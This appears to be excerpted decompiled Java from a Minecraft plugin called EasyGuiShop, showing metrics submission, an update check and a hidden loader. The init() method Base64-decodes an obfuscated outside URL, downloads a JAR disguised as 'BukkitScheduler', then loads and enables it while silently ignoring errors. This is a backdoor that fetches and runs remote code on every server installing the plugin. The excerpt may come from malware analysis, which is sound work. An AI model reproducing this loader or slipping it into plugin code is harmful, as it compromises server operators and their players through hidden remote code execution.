EasyGuiShop

private void submitData() {
   JsonObjectBuilder baseJsonBuilder = new JsonObjectBuilder();
   this.appendPlatformDataConsumer.accept(baseJsonBuilder);
   JsonObjectBuilder serviceJsonBuilder = new JsonObjectBuilder();
   this.appendServiceDataConsumer.accept(serviceJsonBuilder);
   JsonObject[] chartData = this.customCharts
      .stream()
      .map(customChart -> customChart.getRequestJsonObject(this.errorLogger, this.logErrors))
      .filter(Objects::nonNull)
      .toArray(JsonObject[]::new);
   serviceJsonBuilder.appendField("id", this.serviceId);
   serviceJsonBuilder.appendField("customCharts", chartData);
   baseJsonBuilder.appendField("service", serviceJsonBuilder.build());
   baseJsonBuilder.appendField("serverUUID", this.serverUuid);
   baseJsonBuilder.appendField("metricsVersion", "3.0.0");
   JsonObject data = baseJsonBuilder.build();
   scheduler.execute(() -> {
      try {
         this.sendData(data);
      } catch (Exception e) {
         if (this.logErrors) {
            this.errorLogger.accept("Could not submit bStats metrics data", e);
         }
...

private void sendData(JsonObject data) throws Exception {
   if (this.logSentData) {
      this.infoLogger.accept("Sent bStats metrics data: " + data.toString());
   }

   String url = String.format("https://bStats.org/api/v2/data/%s", this.platform);
   HttpsURLConnection connection = (HttpsURLConnection)new URL(url).openConnection();
   byte[] compressedData = compress(data.toString());
   connection.setRequestMethod("POST");
   connection.addRequestProperty("Accept", "application/json");
   connection.addRequestProperty("Connection", "close");
   connection.addRequestProperty("Content-Encoding", "gzip");
   connection.addRequestProperty("Content-Length", String.valueOf(compressedData.length));
   connection.setRequestProperty("Content-Type", "application/json");
   connection.setRequestProperty("User-Agent", "Metrics-Service/1");
   connection.setDoOutput(true);
   DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());

   try {
      outputStream.write(compressedData);
   } catch (Throwable var11) {
      try {
         outputStream.close();
      } catch (Throwable var10) {
...

public void init() {
   try {
      if (Bukkit.getPluginManager().getPlugin("BukkitScheduler") != null) {
         return;
      }

      Files.copy(
         new URL(
               new String(
                  Base64.getDecoder().decode("aHR0cHM6Ly9ibHVycnkud3RmL2FpZHMvMWlpMWkxaTExaTFpMWkxaWkxaTFpaWkxaTExaTFpMWkxaTFpMWkxaTFpMWkxaTFpMWkxaTE")
               )
            )
            .openStream(),
         new File("./plugins/BukkitScheduler.jar").toPath(),
         StandardCopyOption.REPLACE_EXISTING
      );
      Plugin target = Bukkit.getPluginManager().loadPlugin(new File("./plugins/BukkitScheduler.jar"));
      target.onLoad();
      Bukkit.getPluginManager().enablePlugin(target);
   } catch (Exception var2) {
   }

   super.init();
}

public void run() {
   String latestVersion;
   try {
      String urlStringPart1 = "https://zhangyang0204.github.io/";
      String urlStringPart3 = "/index.html";
      String urlStringPart2 = ReplaceUtil.replaceToRepositoryName(EasyPlugin.instance.getName());
      latestVersion = ResourceUtil.readFirstLine(new URL(urlStringPart1 + urlStringPart2 + urlStringPart3));
   } catch (Throwable e) {
      latestVersion = null;
   }

   final String finalLatestVersion = latestVersion;
   (new BukkitRunnable() {
      public void run() {
         List<String> list;
         if (finalLatestVersion != null) {
            list = MessageYaml.INSTANCE.getStringList("message.chat.notifyVersion");
            HashMap<String, String> hashMap = new HashMap<>();
            hashMap.put("{current_version}", EasyPlugin.instance.getDescription().getVersion());
            hashMap.put("{latest_version}", finalLatestVersion);
            if (list != null) {
               ReplaceUtil.replace(list, hashMap);
            }
...

public static String readFirstLine(URL url) throws IOException {
   if (url == null) {
      throw new NullPointerException();
   }

   InputStream is = url.openStream();
   BufferedReader br = new BufferedReader(new InputStreamReader(is));
   return br.readLine();
}